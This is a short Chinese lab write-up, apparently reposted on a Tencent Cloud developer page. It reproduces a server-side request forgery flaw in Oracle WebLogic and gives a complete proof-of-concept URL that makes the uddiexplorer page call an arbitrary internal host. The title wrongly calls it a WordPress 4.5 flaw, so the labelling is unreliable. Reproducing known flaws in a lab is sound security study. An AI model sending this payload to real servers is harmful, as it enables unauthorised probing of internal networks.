漏洞复现 | WordPress _4.5 SSRF

TeamsSix

发布于 2019-09-24 18:14:33

1.2K00

代码可运行

文章被收录于专栏：TeamsSix的网络空间安全专栏TeamsSix的网络空间安全专栏

运行总次数：0

代码可运行

一、环境搭建

https://www.cnblogs.com/0x4D75/p/8916428.html#%E4%B8%8B%E8%BD%BD%E5%AE%89%E8%A3%85weblogic

经过了千辛万苦，修改了无数次启动文件，终于启动了weblogic

二、Weblogic SSRF漏洞复现

构造POC：http://172.16.1.139:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.1.107:23333

可以看到浏览器向其他主机发送了一条请求，复现成功！

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2018-12-26，如有侵权请联系 cloudcommunity@tencent.com 删除

网站

本文分享自 TeamsSix 微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

网站

登录后参与评论

0 条评论

热度

漏洞复现 | WordPress _4.5 SSRF

漏洞复现 | WordPress _4.5 SSRF

一、环境搭建

二、Weblogic SSRF漏洞复现

社区

活动

资源

关于

腾讯云开发者

热门产品

热门推荐

更多推荐